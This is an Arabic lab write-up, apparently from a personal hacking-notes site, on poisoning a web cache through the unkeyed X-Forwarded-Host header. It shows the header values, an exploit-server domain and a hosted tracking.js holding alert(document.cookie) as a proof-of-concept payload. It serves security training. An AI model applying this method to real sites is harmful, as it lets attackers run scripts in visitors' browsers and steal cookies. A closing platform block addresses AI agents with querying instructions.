> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/cache-poisoning/cache-poisoning-with-an-unindexed-header.md).
# تسميم ذاكرة التخزين المؤقت برأس غير مفهرس
### تسميم ذاكرة التخزين المؤقت للويب باستخدام رأس غير مفهرس
هذا التطبيق عرضةً لـ **تسميم ذاكرة التخزين المؤقت للويب** لأنه يتعامل بشكل خطير مع إدخال من **رأس غير مفهرس** . / مستخدم شرعي يزور بانتظام الصفحة الرئيسية للموقع.
\*\* الهدف:\*\*/ تسميم ذاكرة التخزين المؤقت بحيث تعرض الصفحة الرئيسية استجابة تنفذ `alert(document.cookie)` في متصفح الضحية.
**تحليل سلوك ذاكرة التخزين المؤقت**
* عند اعتراض طلب الصفحة الرئيسية، تُلاحظ معلمة **`Age`** في الاستجابة، مما يشير إلى أن المورد مخزَّن مؤقتًا لمدة **30 ثانية**.
* تؤدي إضافة معلمة عشوائية إلى عنوان URL، على سبيل المثال `?test=1`، إلى إظهار ما يلي:
* يُعاد توليد مفتاح ذاكرة التخزين المؤقت.
* يمكن تعديل المحتوى المخزَّن مؤقتًا وتقديمه لمستخدمين آخرين أثناء ذاكرة التخزين المؤقت.
إذا تمكن أحدهم من تسميم الاستجابة الجذرية (`/`)، فسيرى أي زائر هذا المحتوى الخبيث خلال هذه الـ30 ثانية
**ابحث عن رؤوس قابلة للاستغلال**
* باستخدام **Param Miner** في Burp Suite:
* نظرًا لأن **Repeater**، تُستخدم الدالة **تخمين الرؤوس** .
تكشف الإضافة عن سلوك تسميم لذاكرة التخزين المؤقت المرتبطة بالرأس **`X-Forwarded-Host`**.
**عملية رأس غير مفهرس**
* تتم إضافة الرأس التالي إلى الطلب:
```http
X-Forwarded-Host: test.com
```
* ثم تتضمن الاستجابة تحميل مورد JavaScript من هذا النطاق.
* عند إعادة التحميل، يحاول التطبيق دائمًا جلب هذا البرنامج النصي، مما يؤكد أن الاستجابة مخزَّنة مؤقتًا.
**إعادة التوجيه إلى الخادم التشغيلي**
* يتم استبدال قيمة الرأس بـ **نطاق الخادم التشغيلي**:
```http
X-Forwarded-Host: exploit-0a1c0025035a473c807ce8e901e3001a.exploit-server.net
```
ثم يسعى التطبيق إلى تحميل المورد التالي:
**حقن حمولة خبيثة**
* على الخادم التشغيلي، تنشئ الملف:
```javascript
/resources/js/tracking.js
```
محتوى الملف:
```javascript
alert(document.cookie)
```
* يتم الآن تضمين هذا البرنامج النصي في الاستجابة المخزَّنة مؤقتًا.
**النتيجة**
* عندما يزور المستخدم الصفحة الرئيسية خلال فترة صلاحية ذاكرة التخزين المؤقت:
* يقوم المتصفح بتحميل البرنامج النصي الخبيث.
* تظهر نافذة حوار تحتوي على `document.cookie`.
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/ar/web/cache-poisoning/cache-poisoning-with-an-unindexed-header.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.